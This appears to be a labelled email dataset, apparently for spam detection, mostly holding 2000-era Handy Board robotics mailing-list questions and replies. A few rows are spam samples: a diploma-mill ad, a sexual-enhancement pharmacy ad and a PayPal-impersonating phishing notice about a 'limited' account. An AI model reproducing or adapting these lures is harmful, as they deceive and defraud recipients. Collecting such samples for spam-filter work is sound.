Duncan ,"handyboard@media.mit.edu, martin@media.mit.edu, lina@media.mit.edu, connie@media.mit.edu, darren@media.mit.edu, charlotte@media.mit.edu, cleo@media.mit.edu, claude@media.mit.edu","Thu, 24 Feb 2000 21:09:57 -0700",do something more with your life,"i can show you how you can spruce up your education without even touching a book and you will get a REAL piece of paper to put on your wall too! http://tinyurl.com/p2yhd to access our discard list : see main website Don't those teachers very often love jogging? ",1,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Fri, 25 Feb 2000 17:51:48 +0000",[DMDX] Colour feedback words,"Hi. I am having some problems trying to work out how to get colour feedback when using other than the default colourings, i.e when the RTF colour has been overridden. I can't seem to get DMDX override the default colours set in the parameter. I am trying to get my experiment to have white text on a black background with colour feedback, but only during a practice session. The main part of the experiment should have no feedback. It could just be that it is Friday afternoon, I am tired and am thinking of that first warm frothy beer in that smokey pub. Thanks. - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 Joe Kopena ,handyboard@media.mit.edu,"Fri, 25 Feb 2000 20:59:57 +0000",KIPR Kit,"Is anyone else using the Mobile Robot Development Kit from the KISS Institute? I was curious to see how other people had mounted the break beam sensors which come in the kit onto LEGO pieces. I've been having a lot of trouble getting them aligned correctly since they have a relatively small slot compared to LEGO pieces. ",0,0 John Osowski ,handyboard@media.mit.edu,"Fri, 25 Feb 2000 14:10:59 -0700",Using ICC11 with the handy board,"Dear Sir or Madam, Let me preface this email by saying that I am an extreme novice at programming microprocessors so please try not to laugh to hard at my questions. I recently started an electronics project for which I chose to use the handy board as a controller. Unfortunately, I need to operate at speeds significantly faster then the 1 kHz system interrupt allows. Keep in mind that I do not need the functionality of the LCD display even though it would be nice. Anyway, I did some research and found that Imagecraft's ICC11 compiler would provide me with a means of simplifying the use of interrupts, provide for faster routines and still allow me to program in C. Here is my dilemma. To perform bootstrap mode programming, the ICC11 manual states that I must, ""...Refer to the target system reference on how to set the system to run in this mode."" I know that resetting the system while holding down the start button puts the HB in bootstrap download mode, however, I'm quite certain that the bootload program provided with the HB sets up the system interrupt that I do not want. Imagecraft provides a HB library, however, I would still be left with the system interrupt problem. How do I set up the HB to accept programs I've developed using ICC11 without the constraint of a 1 kHz system interrupt? Thank you for our assistance. John Osowski, System Specialist (505) 835-5368 jjo@emrtc.nmt.edu Energetic Materials Research and Testing Center New Mexico Institute of Mining and Technology ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 25 Feb 2000 16:50:51 -0700",[DMDX] Re: Colour feedback words,"At 05:51 PM 2/25/00 +0000, you wrote: >Hi. I am having some problems trying to work out how to get colour >feedback when using other than the default colourings, i.e when the RTF >colour has been overridden. I can't seem to get DMDX override the default >colours set in the parameter. I am trying to get my experiment to have >white text on a black background with colour feedback, but only during a >practice session. The main part of the experiment should have no feedback. > It could just be that it is Friday afternoon, I am tired and am thinking >of that first warm frothy beer in that smokey pub. Could well be, it has been used so it works (or worked in the past). It's possible that there's some conflict between using embedded RTF colors and using the default writing color switches. You might try creating the item file in the colors you want in Word and if DMDX displays white on white just change the default background color. Also, ISTR that to get RTF feedback colors used you had to specify the text in quotes. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience varies directly with equipment ruined. ",0,0 Chuck McManis ,"John Osowski , handyboard@media.mit.edu","Fri, 25 Feb 2000 14:39:36 -0800",Re: Using ICC11 with the handy board,"Hi John, Using compiled programs with the Handyboard is not difficult, the steps used to download a compiled program are exactly the same as downloading the ""pcoder"" file in the Handyboard documentation. The compiled program is used instead of the pcoder_hb.s19 file. There are several things to be aware of; 1) Unlike IC, when using a compiled program you must put the board in download mode each time you wish to change the program. That means that you need the board physically near you while programming. 2) Memory on the Handyboard is somewhat fragmented, in part because the way the handboard runs (Motorola Special Test Mode) puts the interrupt vectors at the top of the BF00 (or B600?) page. Anyway, icc11 can deal with it better than IC does but it needs to be understood. 3) The Handyboard library with icc11 includes (IMNSHO) better LCD support than IC (I wrote it so I'm biased :-). However it does use a 1Khz system interrupt to be somewhat compatible with IC timings, it doesn't have to use a 1Khz interval. Further, if you look at the code that handles encoders you will see that it can run at pretty much any schedule you desire. --Chuck At 02:10 PM 2/25/00 -0700, John Osowski wrote: >Dear Sir or Madam, > >Let me preface this email by saying that I am an extreme novice at >programming microprocessors so please try not to laugh to hard at my >questions. > >I recently started an electronics project for which I chose to use the >handy board as a controller. Unfortunately, I need to operate at speeds >significantly faster then the 1 kHz system interrupt allows. Keep in mind >that I do not need the functionality of the LCD display even though it >would be nice. Anyway, I did some research and found that Imagecraft's >ICC11 compiler would provide me with a means of simplifying the use of >interrupts, provide for faster routines and still allow me to program in C. > >Here is my dilemma. To perform bootstrap mode programming, the ICC11 >manual states that I must, ""...Refer to the target system reference on how >to set the system to run in this mode."" I know that resetting the system >while holding down the start button puts the HB in bootstrap download mode, >however, I'm quite certain that the bootload program provided with the HB >sets up the system interrupt that I do not want. Imagecraft provides a HB >library, however, I would still be left with the system interrupt problem. >How do I set up the HB to accept programs I've developed using ICC11 >without the constraint of a 1 kHz system interrupt? > >Thank you for our assistance. > > John Osowski, > System Specialist > (505) 835-5368 > jjo@emrtc.nmt.edu > >Energetic Materials Research and Testing Center >New Mexico Institute of Mining and Technology > > > > > ",0,0 Gary Livick ,John Osowski ,"Fri, 25 Feb 2000 14:39:13 -0800",Re: Using ICC11 with the handy board,"John, The 1 KHz system interrupt is set up in the IC pcode, which you are not loading. Furthermore, the bootloader for the Handy Board is loaded into the first 255 bytes of on-chip RAM when you load pcode, and disappears on reset. It can't cause you a problem either. In addition, there is no system interrupt that is invoked automatically by being in download mode or special test mode. You should have no such difficulty, at least as far as I am aware. Keep in mind that the Handy Board is hard wired to run in special test mode on reset, so the reset vector and the other vectors are remapped from $FFCO-$FFFF to $BFCO-$BFFF. Also note that you can use the display even though you are not running IC. The ICC compiler comes with libraries for the Handy Board, and one of them will run the display as I recall. Good luck, and have fun. Gary Livick Tiny HC11 products for your robot http://www.teleport.com/~raybutts/ John Osowski wrote: > Dear Sir or Madam, > > Let me preface this email by saying that I am an extreme novice at > programming microprocessors so please try not to laugh to hard at my > questions. > > I recently started an electronics project for which I chose to use the > handy board as a controller. Unfortunately, I need to operate at speeds > significantly faster then the 1 kHz system interrupt allows. Keep in mind > that I do not need the functionality of the LCD display even though it > would be nice. Anyway, I did some research and found that Imagecraft's > ICC11 compiler would provide me with a means of simplifying the use of > interrupts, provide for faster routines and still allow me to program in C. > > Here is my dilemma. To perform bootstrap mode programming, the ICC11 > manual states that I must, ""...Refer to the target system reference on how > to set the system to run in this mode."" I know that resetting the system > while holding down the start button puts the HB in bootstrap download mode, > however, I'm quite certain that the bootload program provided with the HB > sets up the system interrupt that I do not want. Imagecraft provides a HB > library, however, I would still be left with the system interrupt problem. > How do I set up the HB to accept programs I've developed using ICC11 > without the constraint of a 1 kHz system interrupt? > > Thank you for our assistance. > > John Osowski, > System Specialist > (505) 835-5368 > jjo@emrtc.nmt.edu > > Energetic Materials Research and Testing Center > New Mexico Institute of Mining and Technology > > ",0,1 """Kelsch, Ken"" ","""'handyboard@media.mit.edu'"" ","Fri, 25 Feb 2000 19:12:02 -0500",A/D converter,"Dear HB, I am trying to convert an anolog voltage from a thermocoupler to a digital value and display it on the LCD. I thought this could be accomplished by changing the high reference voltage V(rh) from the default 5V to 600mV to get the max resolution over a range from 0V to 600mV. It looks like the 5V(rh) is set on pin 52 of the processor thru a cap connected to pin 22 if memory chip U2. I initially thought I could use the pot (VR1) to adjust V(rh) but from the schematic it looks like this only adjusts the input to AN7 Can anyone offer suggestions. Thanks much, Ken Kelsch Cabletron Systems (801) 887-9481 ext 53481 kkelsch@ctron.com ",0,0 mr Chang ,handyboard@media.mit.edu,"Wed, 15 Jan 1997 18:01:41 -0700",You Need a Better Degree ," WHAT A GREAT IDEA! We provide a concept that will allow anyone with sufficient life experience to obtain a fully verifiable university diploma. Bachelor, Master or even a Doctorate. Think of it, within a month you too could be a college graduate. Many people share the same frustration, they are all doing the work of the person that has the degree, and the person that has the degree is getting all the money. Don't you think that it is time you were paid fair compensation for the level of work you are already doing? This is your chance to finally make the right move and receive your due benefits. If you are like most people, you are more than qualified with your experience, but you are lacking that prestigious piece of paper known as a diploma that is often the passport to success. Call us TODAY AND GIVE YOUR LIFE A CHANCE! 1-206-350-3737 ",1,0 """E158 (M.FAZAL)"" ","""'handyboard@media.mit.edu'"" ","Sat, 26 Feb 2000 03:55:47 -0000",colour sensor caliberation,"Hi all I mailed the list a few weeks back about implementing a colour sensor. someone suggested using three photo resistors with red, green and blue filters over it. I have built the sensor with four photo resitors, three with the different filters and one without the filter. i have also written a caliberating software and a program to use the sensor.Anyway, the result is that sometimes the sensor gives the correct colour. But gets it wrong quite often too. usually it confuses green for blue or brown (and other way round). also if it is too closer than the calibertion distance it thinks the surface is black. below is the method i am using. struct surface { char colour[5]; int no_filter; /* value from photoresistor with no filter */ int red_filter; /* value from photoresistor with red filter */ int blue_filter; /* value from photoresistor with blue filter */ int green_filter; /* value from photoresistor with green filter */ float red_ratio; /* red filter value / no filter */ float blue_ratio; /* blue filter value / no filter */ float green_ratio; /* green filter value / no filter */ }; persistent struct surface s1,s2,s3,s4,s5,s6; /* 6 surfaces with different colours */ struct surface* surf_no; /* pointer to surface */ . . void cal_values() /* function to caliberate the values */ { printf(""Caliberating. Please wait...\\n""); surf_no->no_filter=analog(2); /* \\ */ surf_no->red_filter=analog(3); /* \\ values from analog ports */ surf_no->blue_filter=analog(0); /* / */ surf_no->green_filter=analog(1); /* / */ surf_no->red_ratio=(float)surf_no->red_filter/float)surf_no->no_filter; surf_no->blue_ratio=(float)surf_no->blue_filter/float)surf_no->no_filter; surf_no->green_ratio=(float)surf_no->green_filter/loat)surf_no->no_filter; } To determine the surface coulor after caliberation, the sensor is placed in from of a surface and the values are read, and compared with the values for each of the 6 surfaces in the caliberation. the colour with the closet value is the right colour. below is a pice of the code that does this. void get_colour(void) { float err, prev_err=100.0; no_filter=analog(2); red_filter=analog(3); blue_filter=analog(0); green_filter=analog(1); red_ratio = (float)red_filter / (float)no_filter; blue_ratio = (float)blue_filter / (float)no_filter; green_ratio = (float)green_filter / (float)no_filter; surf_no=&s1 s=surf_no; /* s is a pointer to surface which is the most likely colour */ err=compare(); if(errcolour); } float compare() { float tot_err, red_err, blue_err, green_err; red_err = surf_no->red_ratio - red_ratio; /* caliberated value - current surface value */ if (red_err<0.0) red_err = 0.0 - red_err; /* make value positive */ blue_err = surf_no->blue_ratio - blue_ratio; /* caliberated value - current surface value */ if (blue_err<0.0) blue_err = 0.0 - blue_err; /* make value positive */ green_err = surf_no->green_ratio - green_ratio; if (green_err<0.0) green_err= 0.0 - green_err; /* make value positive */ tot_err = red_err + blue_err + green_err; /* sum of all errors */ return tot_err; /* return error value */ } I would be most grateful if you have any suggetsions about my method for caliberating and correlating the values. Any ideas most welcome. Many thanks M Fazal",0,0 """John J. Ladasky Jr."" ",handyboard@media.mit.edu,"Sat, 26 Feb 2000 06:07:31 +0000",LUGNET spammed (was: Semiconductor Specific Search Engine),"Hey, folks, (and Todd Lehman in particular) Did you catch this spam over in lugnet.robotic.handyboard? I hope that this trend doesn't continue. :^( LUGNET is one of the few Internet institutions I use that is nearly 100% content, and spam-free. In lugnet.robotics.handyboard, contact@semiseek.com writes: >Semiseek now has the latest Semiconductor News and New Product >Announcements from the Manufacturers of Semiconductor Equipment. >Follow the latest Industry trends. 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Ladasky Jr., Ph.D. Department of Structural Biology Stanford University Medical Center Stanford, CA 94305 ",0,0 """Barrus, Brad"" ","""'handyboard@media.mit.edu'"" ","Sat, 26 Feb 2000 10:22:20 -0500",HandyBoard A/D converter?,"Dear Handy Board Masters, I am trying to use the handy board for some A/D conversions. The converter is set up on a 5 volt scale, the converter is an eight bit converter. Over this range I get a resolution of 19.5mV per Step. My application is needed from 0 to 600mV. At the current settings this would be terrible resolution. Here is my question. Is there any way to set the Voltage reference from 5Volts to 600mV. This would allow me to use the entire range of the A/D converter and would give me very good resolution. Any response would be appreciated. Thank you Brad Brad Barrus SLC Hardware Eng. bbarrus@cabletron.com Phone: 801-887-9490 Fax: 801-887-5789 2835 South Decker Lake Drive Salt Lake City, UT 84119",0,1 Barry Brouillette ,handyboard@media.mit.edu,"Sat, 26 Feb 2000 15:28:46 +0000",Re: KIPR Kit,"Hi, In the kit you will find a number of pulleys about 1 inch in diameter. These are narrow enough to fit through the sensor. They have six holes in them and if they are on an axle, will give you 12 pulses per revolution - 2 pulses per hole. One when the sensor starts seeing the hole and one when it stops seeing the hole. They work great. Barry In lugnet.robotics.handyboard, Joe Kopena writes: >Is anyone else using the Mobile Robot Development Kit from the KISS Institute? >I was curious to see how other people had mounted the break beam sensors which >come in the kit onto LEGO pieces. I've been having a lot of trouble getting >them aligned correctly since they have a relatively small slot compared to LEGO >pieces. ",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Sat, 26 Feb 2000 11:29:08 -0500",Re: colour sensor caliberation," May I suggest you test your system for response to invisible light? You could shine an Infrared LED onto it to see what you read. There are also ""UV Cutoff"" Filters available at photography shops supplying color darkroom equipment (UV from the bulb will through off your color printing. I have been doing a little experimenting with color detection (color darkroom application) and have found invisible light to be a real problem with getting predictable readings. Pherd Presently Pensacola, FL ",0,0 Christopher Prosser ,handyboard@media.mit.edu,"Sat, 26 Feb 2000 18:54:02 +0000",Re: HandyBoard A/D converter?,"The 68HC11 has references for the range of the A/D converter. In the HB design they are hardwired to 0 and +5. I believe the pin is Vrh at and is currently wired to +5. --chris prosser From the motorola manual: 2.2.7 A/D Reference and Port E Pins (V REFL , V REFH , PE[7:0]) The V REFH and V REFL pins provide the reference voltages for the A/D converter cir-cuitry. Since the A/D converter is an all-capacitive charge-redistribution converter, there is essentially no dc current associated with these pins. Very small dynamic cur-rents are caused by charge-redistribution switching during conversions (see SEC-TION 12 ANALOG-TO-DIGITAL CONVERTER SYSTEM). These pins are normally connected to V DD and V SS through a low-pass filter network (see Figure 2-13) to iso-late noise on the logic power supply from the relatively sensitive analog measure-ments. A low-noise precision reference supply can alternatively be used. There should be at least 2.5 V between V REFL and V REFH for full A/D accuracy. Lower values will result in more inaccuracy, but the converter will continue to operate. The A/D system is tested at 4.5 V and 5.5 V across the reference supply pins. There is an inherent diode from V REFL to V SS . If V REFL goes below V SS by more than this diode drop, any conversion in progress may be corrupted, but no permanent phys-ical damage will result until significant current is drawn. The only documented cases of damage have been caused by blatant misapplication, such as connecting -12 V di-rectly to the V REFL pin. Since no P-channel devices are associated with the V REFH pin, there is no diode clamping to V DD . The gates of analog switches associated with the A/D reference and input pins are controlled by signals that switch between V SS and about 7 V. This higher-than-V DD supply is the output of a charge pump (separate from the charge pump used for programming on-chip EEPROM). There is no special re-quirement to keep V REFH below V DD . In fact, the converter will continue to produce good results up to approximately 6 V on V REFH . ----- Original Message ----- From: ""Barrus, Brad"" To: Sent: Saturday, February 26, 2000 7:22 AM Subject: HandyBoard A/D converter? > Dear Handy Board Masters, > I am trying to use the handy board for some A/D conversions. The > converter is set up on a 5 volt scale, the converter is an eight bit > converter. Over this range I get a resolution of 19.5mV per Step. My > application is needed from 0 to 600mV. At the current settings this would be > terrible resolution. Here is my question. Is there any way to set the > Voltage reference from 5Volts to 600mV. This would allow me to use the > entire range of the A/D converter and would give me very good resolution. > Any response would be appreciated. Thank you Brad > > > > Brad Barrus > SLC Hardware Eng. > bbarrus@cabletron.com > Phone: 801-887-9490 Fax: 801-887-5789 2835 South Decker Lake Drive Salt Lake > City, UT 84119 > > > > > > > -- > MIME ATTACHMENTS DISCARDED: > > 1. Content-Type: image/bmp; > name=""ctronlogo.bmp"" > Content-Transfer-Encoding: base64 > Content-Disposition: attachment; > filename=""ctronlogo.bmp"" > Content-ID: <560291915@26022000-2c75> > Content-Length: 8808 >",0,1 Chuck McManis ,"""Barrus, Brad"" , ""'handyboard@media.mit.edu'"" ","Sat, 26 Feb 2000 12:21:41 -0800",Re: HandyBoard A/D converter?,"This calls for a signal conditioning amplifier. Since you're not worried particularly about slew rate (the handyboard won't do much more than 12khz sample rate) you can pretty much use any op-amp you want. Ideally you'd use a single supply one, set the gain for slightly less than 9 (actually 5/.6) and then feed your signal across a resistor into the op-amp. --Chuck At 10:22 AM 2/26/00 -0500, Barrus, Brad wrote: >Dear Handy Board Masters, > I am trying to use the handy board for some A/D conversions. The >converter is set up on a 5 volt scale, the converter is an eight bit >converter. Over this range I get a resolution of 19.5mV per Step. My >application is needed from 0 to 600mV. At the current settings this would be >terrible resolution. Here is my question. Is there any way to set the >Voltage reference from 5Volts to 600mV. This would allow me to use the >entire range of the A/D converter and would give me very good resolution. >Any response would be appreciated. Thank you Brad > > > >Brad Barrus >SLC Hardware Eng. >bbarrus@cabletron.com >Phone: 801-887-9490 Fax: 801-887-5789 2835 South Decker Lake Drive Salt Lake >City, UT 84119 > > > >",0,1 Jose Luis ,handyboard@media.mit.edu,"Sat, 26 Feb 2000 20:06:19 -0300",Solar charging and OWI Arm,"Hi, Has someone builded a battery charger for the HB, using a solar panel, is a 12 v / 40 mA panel enough for that?, and how to connect it?. Also, has someone tried the OWI robotic arm ? Thank You Jose Luis ",0,0 Marci Boudreaux ,handyboard@media.mit.edu,"Sun, 27 Feb 2000 07:08:15 +0500",Note: Your account," -Icrease Your Sexual Desire and Sperm volume by 500% -Longer orgasms - The longest most intense orgasms of your life -Rock hard erections - Erections like steel -Ejaculate like a porn star - Stronger ejaculation -Multiple orgasms - Cum again and again -SPUR-M is The Newest and The Safest Way of Pharmacy -100% Natural and No Side Effects - in contrast to well-known brands. -Experience three times longer orgasms -World Wide shipping within 24 hours Clisk here http://www.lalookmodelsearch.info lifeblood stevenson conservator barber giuseppe byzantium ocelot podia disneyland ami helena snider angelfish villein idiomatic raytheon cognizant china crescendo defer toll bavaria laminar chortle purchase wellington ostrich rwanda chattanooga brazzaville anton redhead dater reagan amass yukon dump initiate afflict chef verandah flax greenware circlet fluvial hoy company monstrous sober barn bequeath hereinbelow mackerel saleslady ",1,1 William Bain ,Handy Board mailing list ,"Sat, 26 Feb 2000 22:20:34 -0800",Re: Solar charging and OWI Arm,"Any 12 V solar panel would help to add some juice to the battery, but the board probably can't live on just 40mA. The recommended adapter is 500 mA, which would charge the battery about a dozen times faster. Still, I have some solar cells just gathering dust on the shelf, so I plan to add 'em to my robot, too. I saw a good design for a robot charging station: take a cardboard box about a foot tall, open on one side, and line the floor with a sheet of aluminum and the inside of the top with another sheet. Hook up your HB adapter to the top & bottom sheets. Next add an electrode to the bottom of the robot that drags on the ground and another electrode that sticks up like a radio antenna. These electrodes are connected to the power jack. Put an IR beacon on the box and an IR detector on the robot, so that when the robot runs low on voltage, it searches for the beacon, rolls into the box, and then rolls out when the battery's topped off. I figure that any self-respecting robot ought to at least be able to take care of its own basic needs. -- Will P.S. -- Never heard of the OWI arm. Best of luck! --- Jose Luis wrote: > Hi, > > Has someone builded a battery charger for the HB, using a > solar panel, > is a 12 v / 40 mA panel enough for that?, and how to connect > it?. > > Also, has someone tried the OWI robotic arm ? > > Thank You > > Jose Luis > > ===== Any sufficiently advanced technology is indistinguishable from magic. -- Arthur C. Clark __________________________________________________ Do You Yahoo!? Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com",0,1 William Bain ,Handy Board mailing list ,"Sat, 26 Feb 2000 22:29:11 -0800",Re: Solar charging and OWI Arm,"Oops. I just realized I forgot to tell you how to connect the solar panel. Solar panels are almost always installed with a diode to block reverse voltage that would actually suck energy out of your battery when the sun goes down. For a small solar panel like the one you mention, you don't need a very heavy duty diode, but since you don't have a whole lot of power and voltage to spare, you'll want an efficient one with low forward voltage drop. A 40 mA solar panel probably doesn't deliver enough current to utilize the HB's built-in charging cicuitry, so perhaps you should just hook it up to the battery directly. It's not as if that amount of current will ever overcook your battery in any case. Hope this helps! -- Will --- Jose Luis wrote: > Hi, > > Has someone builded a battery charger for the HB, using a > solar panel, > is a 12 v / 40 mA panel enough for that?, and how to connect > it?. > > Also, has someone tried the OWI robotic arm ? > > Thank You > > Jose Luis > > __________________________________________________ Do You Yahoo!? Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com",0,1 Frankie Lai <97139371d@polyu.edu.hk>,handyboard@media.mit.edu,"Sun, 27 Feb 2000 08:46:30 +0000",Problem on loadind Expansion board files,"hi all, I had post a message about the exp board days before. Actually, the problem had not been solved yet. I post the following message that was shown when I was trying to load the exp files to the board. I don't know why this happen, since my friends' boards have not got the same problem with the same configurations. Synchronizing with board Pcode version 3.10 present on board Loading C:\\IC\\libs\\lib_hb.lis. Loading lib_hb.c. Loading C:\\IC\\libs\\lib_hb.icb. Loading C:\\IC\\libs\\libexpbd.icb. Loading C:\\IC\\libs\\expsens.c. Loading C:\\IC\\libs\\expservo.icb. Loading C:\\IC\\libs\\explego.icb. C:\\IC\\libs\\expsens.c(13): analog already defined C:\\IC\\libs\\expsens.c(34): digital already defined lib_hb.icb(1): _raw_analog already defined Errors, unloading files Cannot find file lib_hb.lis or file lib_hb.lis C:\\IC\\libs\\expsens.c(13): analog already defined C:\\IC\\libs\\expsens.c(34): digital already defined lib_hb.icb(1): _raw_analog already defined When I delete the ""expsens.c"" and ""lib_hb.icb"" from the list, the board works. But I think there is something wrong. If there is any possible solutions, please let me know. Thanks for your kindly attention. Frankie Lai 97139371d@polyu.edu.hk ",0,0 Sunil Kumar ,handyboard@media.mit.edu,"Sun, 27 Feb 2000 02:14:59 -0800",Optosensors : ee-sy413," Hi patrick, I saw your mail in HB mailing list on using the ee-sy413 optosensors for line following. Can you please post the schematic of the circuit connection required to interface the ee-sy413 with the handyboard I plan to use 4 of them so can you tell me which of the pins of HB can I use ? Can I use the same sensors with color filter for detecting color ? I can't make out where to connect the cathode and anode of the IR led though I think the other three legs go to Vcc, Out and ground. It would be very helpful if the schematic for different sensors and there interfacing with HB is put up at the HB site ! maybe you can put up your schematic on the sensors and motor page at HB site. thanks! sunil. ",0,0 """E158 (M.FAZAL)"" ","""'handyboard@media.mit.edu'"" ","Sun, 27 Feb 2000 13:20:03 -0000",persistent globals,"Hi all Has anyone worked on persistent global variables. In the manual it says persiststents can keep their value on reset conditions and multiple downloads. i declared persistant globals in my program and they do keep their value on reset conditions. but not when the program is redownloaded again. my program is loaded first so that they go into the same memory location as before. but they are initialised to 0 on download. pls explain how this would work. many thanks m fazal ",0,0 Zheng Xu ,handyboard@media.mit.edu,"Sun, 27 Feb 2000 16:21:02 +0000",Servo controllers,"I understand that a handyboard in combination with the expansion provides a total of 6 servo motor controllers. However, I need 12 controllers. Is there any other ways to achieve this other than buying another set of handyboard + expansion board? thanks, Zheng ",0,0 William Bain ,Handy Board mailing list ,"Sun, 27 Feb 2000 10:46:51 -0800",RE: Solar charging and OWI Arm,"Whatever portion of the 40 mA that the HB requires for it's operation will ""float over"" the battery pack and be consumed by the board. The rest goes into the battery to recharge it. I haven't measured the current draw of my robot, but of course your results will vary depending on how active your robot is. A good estimate of current draw could be found by first completely charging your battery, then timing how long the robot runs until the battery's drained. The average current draw will be the mAH capacity of your battery divided by how many hours it took to run it down. If the board (and motors, etc.) demand more than 40 mA, then none of the current supplied by the solar panel will go into the battery, but at least the battery won't discharge as quickly as it would have without any solar power. BTW, I picked up this concept from a recent article about hybrid gas/electric vehicles in a most excellent magazine called Home Power. That robotic arm on the web looks like fun. Hard to say how efficient the motors are. Still, it looks like it's just begging to be mounted on top of an R/C tank. Then you could program the whole thing to serve cocktails to your guests! -- Will --- Jose Luis wrote: > Hi Will, > > Thank You very much for you information, I have still one > doubt, if the HB > is on, can the batteries be charged or the power will go only > to the board? > > The OWI Robotic Arm is at www.jameco.com > > Thank You Again. > > Jose Luis ===== Any sufficiently advanced technology is indistinguishable from magic. -- Arthur C. Clark __________________________________________________ Do You Yahoo!? Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com",0,1 William Bain ,Handy Board mailing list ,"Sun, 27 Feb 2000 11:01:41 -0800",Re: Problem on loadind Expansion board files,"The problem is simply that the new expansion board code supercedes a couple of functions in the old lib_hb.c (and possibly in lib_hb.icb, too; I can't remember). If you go to the HB web site, you'll find a new version of lib_hb that's compatible with the expansion board code (i.e., it has the old versions of the functions removed from lib_hb). Best of luck! -- Will --- Frankie Lai <97139371d@polyu.edu.hk> wrote: > hi all, > > I had post a message about the exp board days before. > Actually, the problem > had not been solved yet. I post the following message that > was shown when I > was trying to load the exp files to the board. I don't know > why this happen, > since my friends' boards have not got the same problem with > the same > configurations. > > > Synchronizing with board > Pcode version 3.10 present on board > Loading C:\\IC\\libs\\lib_hb.lis. > Loading lib_hb.c. > Loading C:\\IC\\libs\\lib_hb.icb. > Loading C:\\IC\\libs\\libexpbd.icb. > Loading C:\\IC\\libs\\expsens.c. > Loading C:\\IC\\libs\\expservo.icb. > Loading C:\\IC\\libs\\explego.icb. > C:\\IC\\libs\\expsens.c(13): analog already defined > C:\\IC\\libs\\expsens.c(34): digital already defined > lib_hb.icb(1): _raw_analog already defined > Errors, unloading files > Cannot find file lib_hb.lis or file lib_hb.lis > C:\\IC\\libs\\expsens.c(13): analog already defined > C:\\IC\\libs\\expsens.c(34): digital already defined > lib_hb.icb(1): _raw_analog already defined > > > When I delete the ""expsens.c"" and ""lib_hb.icb"" from the list, > the board works. > But I think there is something wrong. > > If there is any possible solutions, please let me know. > Thanks for your kindly attention. > Frankie Lai 97139371d@polyu.edu.hk > __________________________________________________ Do You Yahoo!? Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com",0,1 William Bain ,Handy Board mailing list ,"Sun, 27 Feb 2000 11:10:43 -0800",Re: Servo controllers,"Yes, there is a way. Check out the serial servo controllers at http://www.seetron.com/ssc.htm Each one of these that you use controls up to 8 servos, and you can chain a bunch of them together and go servo nuts. -- Will Bain P.S. -- I haven't yet tried these myself. I'm curious about how well they work (and how to hook 'em up and write code for them) with the HB. Anyone? --- Zheng Xu wrote: > I understand that a handyboard in combination with the > expansion provides a > total of 6 servo motor controllers. However, I need 12 > controllers. Is there > any other ways to achieve this other than buying another set > of handyboard + > expansion board? > > thanks, > > Zheng > __________________________________________________ Do You Yahoo!? Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com",0,1 Dennis Clark ,handyboard@media.mit.edu,"Mon, 28 Feb 2000 00:43:43 +0000",Re: Servo controllers,"In lugnet.robotics.handyboard, Zheng Xu writes: >I understand that a handyboard in combination with the expansion provides a >total of 6 servo motor controllers. However, I need 12 controllers. Is there >any other ways to achieve this other than buying another set of handyboard + >expansion board? If you can burn PIC processors yourself, try my page at http:// www.verinet.com/~dlc/botlinks.htm and bonk on the serial servo controller project. I have PIC12C508 code there that allows you to control 4 servos with a single 2400 baud connection. The code is set to allow a single byte to select one of 4 servos for 64 positions. Sure, its not a HUGE resolution of control, but it works just fine for most of us. If you can't burn your own, I can be persuaded to burn them for you at a price. have fun, DLC ",0,0 """service@intl.paypal.com"" ",handyboard@media.mit.edu,"Mon, 28 Feb 2000 03:12:19 -0100",Resolution Center: Your account is limited. (Your case ID for this reason is PP-141-663-845.),"Thursday, May 09, 2006Resolution Center: Your account is limited. (Your case ID for this reason is PP-141-663-845.) PayPal is constantly working to ensure security by regularly screeningthe accounts in our system. We recently reviewed your account, and weneed more information to help us provide you with secure service. Untillwe can collect this information, your access to sensitive account featureswill be limited. We would like to restore your access as soon as possible,and we apologize for the inconvenience. This is done for your protection only you, the recipient of this email cantake the next step in the remove limitation process. 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There is no close (well, there is, but it's called clunk) because you must dispose of fids that have not been Topened, so it seemed that Tclose would be the wrong name for the operation. The manual says somewhere I believe, and the code says somewhere I know, that once a fid is opened, it cannot be walked or cloned further. This avoids some difficult implementation problems for the servers. -rob ",0,0 Joe Kopena ,handyboard@media.mit.edu,"Tue, 29 Feb 2000 00:56:49 +0000",Re: KIPR Kit,"In lugnet.robotics.handyboard, Barry Brouillette writes: >In the kit you will find a number of pulleys about 1 inch in diameter. These >are narrow enough to fit through the sensor. They have six holes in them and >if they are on an axle, will give you 12 pulses per revolution - 2 pulses per >hole. One when the sensor starts seeing the hole and one when it stops seeing >the hole. They work great. These are what I also have been trying to use to break the beam, they seem to be the best choice. My question was more about how you mounted the sensor. I'm curious to know what piece people had glued the sensor to, and to see if they used some sort of jig to make sure the sensor was aligned properly before you began glueing. Thx :) ",0,0 Barry Brouillette ,handyboard@media.mit.edu,"Tue, 29 Feb 2000 01:14:11 +0000",Re: KIPR Kit,"Joe, As it turned out, the edge of the pulley was right next to and perpendicular to a long beam piece. We just used hot glue to glue it to the beam and held it in place until the glue dried and had no trouble at all. The pulley can't come out of the sensor. Hope that makes sense. Barry In lugnet.robotics.handyboard, Joe Kopena writes: >In lugnet.robotics.handyboard, Barry Brouillette writes: >>In the kit you will find a number of pulleys about 1 inch in diameter. These >>are narrow enough to fit through the sensor. They have six holes in them and >>if they are on an axle, will give you 12 pulses per revolution - 2 pulses per >>hole. One when the sensor starts seeing the hole and one when it stops seeing >>the hole. They work great. > >These are what I also have been trying to use to break the beam, they seem to >be the best choice. My question was more about how you mounted the sensor. I'm >curious to know what piece people had glued the sensor to, and to see if they >used some sort of jig to make sure the sensor was aligned properly before you >began glueing. > >Thx :) ",0,0 